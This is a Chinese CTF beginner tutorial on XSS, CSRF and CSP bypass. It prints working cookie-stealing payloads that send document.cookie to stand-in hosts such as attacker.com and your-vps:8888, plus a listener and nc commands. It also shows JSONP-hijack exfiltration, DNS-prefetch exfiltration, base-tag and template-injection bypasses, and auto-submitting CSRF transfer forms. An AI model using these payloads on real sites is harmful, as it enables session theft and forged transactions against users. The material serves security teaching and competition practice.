文章总结： 本文为CTF新手Web安全教程，精讲XSS与CSRF实战技巧。涵盖三大XSS类型的场景与Cookie窃取链路，重点剖析JSONP利用、模板注入、base标签劫持及dns-prefetch外带四种CSP绕过方法。同时解析CSRFToken伪造、Referer绕过与JSONP劫持攻防，并总结赛题识别与联动策略，实战指导价值高。 综合评分： 90 文章分类： CTF,WEB安全,漏洞分析,实战经验
CTF入门|第5期 Web入门：XSS与CSRF——Cookie窃取、CSP绕过与CSRF Token伪造实战
原创
安全值班室 安全值班室
安全值班室
2026年7月13日 09:00 北京
在小说阅读器读本章
去阅读
XSS（跨站脚本攻击）和CSRF（跨站请求伪造）是Web安全领域两大”跨站”攻击类型。虽然名字相似，但它们的攻击原理截然不同——XSS攻击的是用户，通过注入恶意脚本窃取信息；CSRF攻击的是用户身份，利用用户已登录的状态伪造请求。在CTF赛场上，这两类题型往往以”浏览器端攻防”的形式出现，考验的是对前端安全机制的理解深度。
本期速览 ① XSS三大类型 — 反射型、存储型、DOM型的CTF场景与payload ② Cookie窃取实战 — 从构造payload到接收Flag的完整链路 ③ CSP绕过技巧 — 非严格CSP策略的4种绕过方法 ④ CSRF攻防 — Token伪造、Referer绕过、JSONP劫持
一、XSS三大类型与CTF场景
XSS（Cross-Site Scripting）是指在Web页面中注入恶意脚本，当其他用户访问该页面时脚本被执行。CTF中XSS题的核心目标通常是窃取Cookie或模拟用户操作。
▎ 反射型XSS（Reflected XSS）
反射型XSS是最基础的XSS类型。恶意脚本通过URL参数传入，后端不加过滤地将其渲染到页面中。CTF中的典型场景是搜索框、参数回显等将输入直接显示在页面上的功能。
## 漏洞场景搜索页面传参：http://target.com/search?q=keyword## 后端漏洞代码（Flask示例）# 直接接收GET参数传入模板keyword = request.args.get('q')# 模板渲染未做HTML转义return render_template('search.html', keyword=keyword)## 前端模板危险写法（|safe 关闭自动转义）{{ keyword | safe }}## 基础测试Payload（弹窗验证漏洞）http://target.com/search?q=<script>alert(1)</script>## CTF盗Cookie payload（跳转攻击者服务器带走cookie）http://target.com/search?q=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
▎ 存储型XSS（Stored XSS）
存储型XSS的”威力”远大于反射型。恶意脚本被持久化存储在服务器上（通常通过评论、留言板、个人信息等可写功能），每次其他用户访问相关页面时脚本都会被执行。CTF中存储型XSS题往往与机器人（Bot）访问结合在一起——你写一条包含恶意脚本的评论或留言，Bot会模拟管理员访问该页面，触发你的payload并泄露Cookie。
## 漏洞场景留言板/评论区，提交内容永久存入数据库，所有访问用户页面都会加载该内容## 1. 留言提交Payload（异步发送Cookie到攻击者服务器）<script>fetch('http://攻击者IP:8888/collect?c='+document.cookie)</script>## 2. 利用流程1）提交上述JS payload作为评论内容2）等待管理员Bot访问留言页面触发脚本3）攻击者监听端口，捕获管理员Cookie## 3. 两种本地监听接收Cookie# Python简易HTTP服务python3 -m http.server 8888# nc端口监听nc -lvnp 8888
▎ DOM型XSS
DOM型XSS的特别之处在于：恶意脚本不经过后端。攻击完全发生在浏览器端，通过修改页面的DOM环境来触发脚本执行。CTF中DOM XSS的常见来源是 document.write()、innerHTML、eval()、location.hash 和 onerror 等前端API。
## 危险前端源码（无后端参与，纯前端DOM渲染）<script> // 读取URL # 后的片段内容，后端接收不到hash参数 var name = document.location.hash.substring(1); // 直接写入DOM，无过滤转义 document.getElementById('welcome').innerHTML = name;</script>## 漏洞测试Payload（拼接在URL # 后）http://target.com/page#<img src=x onerror=alert(1)>
CTF中的XSS关键判断 拿到XSS题后，先判断类型：参数回显+无持久化 → 反射型；评论/发布功能+Bot访问 → 存储型；纯前端操作且payload在hash/URL参数中 → DOM型。类型决定了你用什么方式提交payload和如何接收回显。
二、Cookie窃取实战：从payload到Flag
Cookie窃取是CTF XSS题的核心考点。大多数XSS题的最终目标就是拿到管理员的Cookie（通常包含Flag）。以下是CTF中最常用的Cookie窃取方式。
▎ 方式一：直接URL跳转
# 核心Payload，跳转带走Cookie<script>document.location='http://your-vps:8888/?c=' + document.cookie</script>
▎ 方式二：Image标签跨域请求
<!-- 无感知窃取Payload --><img src=x onerror="this.src='http://your-vps:8888/collect?c='+document.cookie">
▎ 方式三：Fetch API + CORS
方案 1：Fetch API（推荐）<script>fetch('http://your-vps:8888/steal', { method: 'POST', mode: 'no-cors', body: 'cookie=' + document.cookie});</script>
方案 2：XMLHttpRequest 兼容写法<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://your-vps:8888/steal', true);xhr.send('c=' + document.cookie);</script>
在CTF实战中，建议直接搭建一个公网可访问的HTTP服务器来接收Cookie。可以用云服务器、ngrok内网穿透或者类似requestbin的服务。比赛时先把监听跑起来，再提交payload，确保不会漏掉回显。小技巧：在payload中加上时间戳和页面URL，方便区分不同题目和不同Bot的请求。
from http.server import HTTPServer, BaseHTTPRequestHandlerclass Handler(BaseHTTPRequestHandler): def do_GET(self): # 将带Cookie的请求路径写入日志文件 with open('logs.txt', 'a') as f: f.write(f'{self.path}\n') # 返回200状态码 self.send_response(200) self.end_headers() self.wfile.write(b'OK')# 监听本机所有网卡 8888 端口server = HTTPServer(('0.0.0.0', 8888), Handler)server.serve_forever()
三、CSP绕过：CTF中的高难度关卡
内容安全策略（CSP, Content Security Policy）是浏览器端最重要的安全防线之一。当CTF题目开启了CSP时，你的 可能直接被拦截。理解CSP策略并找到绕过方法，是XSS高难度题的核心考察点。
▎ CSP策略解析
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none';
策略释义default-src 'self'全局默认资源加载规则：仅允许加载当前同源域名资源script-src 'self' https://cdn.example.com脚本资源白名单：仅同源域名 + 可信 CDN 域名可执行脚本object-src 'none'彻底禁用所有插件类对象（Flash、Java Applet 等）
CTF中最常见的CSP绕过场景有以下四种：
▎ 绕过①：利用JSONP端点
1. 前置条件：CSP 策略 `script-src` 放行某CDN域名，且该CDN存在JSONP接口；2. 接口逻辑：CDN 接口 `https://cdn.example.com/api?callback=myFunc` 会直接拼接参数值返回 JS 文本 `myFunc({"data": "..."})`；3. 攻击Payload：`<script src="https://cdn.example.com/api?callback=alert(document.cookie)//"></script>`；4. 漏洞原理：接口直接将URL中`callback`参数内容拼接进返回脚本，浏览器会执行传入的任意JS代码，实现CSP绕过。
▎ 绕过②：Angular/React模板注入
# Angular{{constructor.constructor('alert(document.cookie)')()}}# Vue{{$on.constructor('alert(document.cookie)')()}}
▎ 绕过③：base标签注入
# CSP允许self、禁内联脚本，base标签劫持加载恶意脚本# Payload<base href="http://attacker.com/"><script src="/js/app.js"></script># 原理base修改相对路径根地址，同源脚本路径实际请求攻击者域名下资源
▎ 绕过④：dns-prefetch信息泄露
# CSP严格禁外部脚本/图片仍可dns-prefetch数据泄露# DNS隧道外带Cookie，子域名承载泄露字符# Payload模板<link rel="dns-prefetch" href="//[泄露字符].attacker.com"># 示例：cookie=flag{abc123}，逐字符生成多条link<link rel="dns-prefetch" href="//f.attacker.com"><link rel="dns-prefetch" href="//l.attacker.com"><link rel="dns-prefetch" href="//a.attacker.com"># 恶意长域名隧道合并payload<link rel="dns-prefetch" href="//attacker.com/x.attack.dnstunnel">
CSP绕过精髓 CTF中CSP绕过的核心思路不是打破CSP本身，而是在CSP允许的范围内找到执行入口。先仔细读题目的CSP策略头，找到允许的域名和指令，再针对性搜索该允许域名上的JSONP端点或可控资源。很多队伍输在第一步——根本没去看CSP策略。
四、CSRF：跨站请求伪造的攻防
CSRF（Cross-Site Request Forgery）是另一种跨站攻击类型。与XSS攻击”人”不同，CSRF攻击的是”用户身份”。攻击者诱导用户在不知情的情况下，利用其已登录的身份向目标网站发送恶意请求。CTF中CSRF题的常见考点有Token伪造、Referer绕过和JSONP劫持。
▎ CSRF基本攻击流程
# CSRF无验证自动转账payload# 目标已登录bank.com，诱导访问攻击页# 1. 隐式图片GET请求<img src="http://bank.com/transfer?to=attacker&amount=1000" style="display:none"># 2. 自动提交POST表单<form action="http://bank.com/transfer" method="POST" id="steal"><input name="to" value="attacker"><input name="amount" value="1000"></form><script>steal.submit()</script>
▎ CSRF Token绕过
防御CSRF最常用的方法是CSRF Token——每次请求表单时附带一个随机Token，后端验证Token有效性。但在CTF中，Token验证往往存在绕过方式。
# CTF CSRF Token 绕过场景# 1.Token未绑定Session同Token多会话复用，攻击者获取有效Token即可利用# 2.Token存放Cookie提交Cookie与参数同传，攻击页植入Cookie覆盖<script>document.cookie="csrf_token=attacker_token;path=/"</script># 3.校验逻辑漏洞仅判断Token存在不校验值；Token可通过接口读取
▎ Referer绕过
# Referer防御CSRF绕过方法# 1.meta清空Referer<meta name="referrer" content="no-referrer"># 2.链接取消Referer<a href="xxx" rel="noreferrer"># 3.域名包含绕过（仅匹配域名片段）攻击路径：http://attacker.com/target.com/evil.htmlReferer携带目标域名，校验放行
▎ JSONP劫持
# JSONP CSRF 数据泄露# 目标接口：https://bank.com/api/user_info?callback=handler# 返回格式：handler({"uid":"1001","balance":50000})# 攻击Payload<script>function leak(d){fetch('//attacker.com/steal?d='+encodeURIComponent(JSON.stringify(d)))}</script><script src="https://bank.com/api/user_info?callback=leak"></script># 原理：自定义callback函数，接口返回数据自动传入函数外带
| 攻击类型 | 攻击目标 | CTF常见形式 | 防御手段 | | — | — | — | — | | 反射型XSS | 当前用户 | 搜索框/参数回显 | 输入编码/过滤 | | 存储型XSS | 所有访问用户 | 留言板+Bot | 输出编码/CSP | | DOM型XSS | 当前用户 | Hash/URL参数 | 避免不安全DOM API | | CSRF | 用户身份 | 表单/JSONP劫持 | Token/Referer/SameSite |
五、CTF实战：XSS vs CSRF的选择策略
拿到一道浏览器端攻防题，首先要判断是XSS还是CSRF。一个简单的区分方法：如果题目提到”管理员Bot会访问你的页面”，那大概率是存储型XSS；如果题目提到”你需要让管理员点击某个链接”，那可能是CSRF或者反射型XSS。XSS的关键是注入脚本的能力，CSRF的关键是利用已登录状态的能力。
CTF中最常见的组合拳是XSS+CSRF联动——先用XSS获取管理员的Cookie登录后台，再在后台中发现存在CSRF漏洞的管理功能，进一步提权或获取Flag。这种跨类型联动的题目难度高但区分度极好，能做出来的队伍往往是比赛的前排。
掌握XSS和CSRF，你已经具备了Web前端攻防的扎实基础。下一期我们将转向CTF的另一个方向——Misc入门：隐写术，看看图片、音频中如何隐藏Flag，以及Stegsolve等工具的妙用。
觉得有用？点个在看支持一下
📌 值班员说 下一期我们将进入CTF的Misc方向——隐写术。图片隐写、音频隐写、LSB隐写、Stegsolve工具使用。这些是CTF中Misc方向最经典的入门题型，也是最能体现”细心”的比赛技能。我们下期见。
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：安全值班室 安全值班室 安全值班室《CTF入门|第5期 Web入门：XSS与CSRF——Cookie窃取、CSP绕过与CSRF Token伪造实战》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论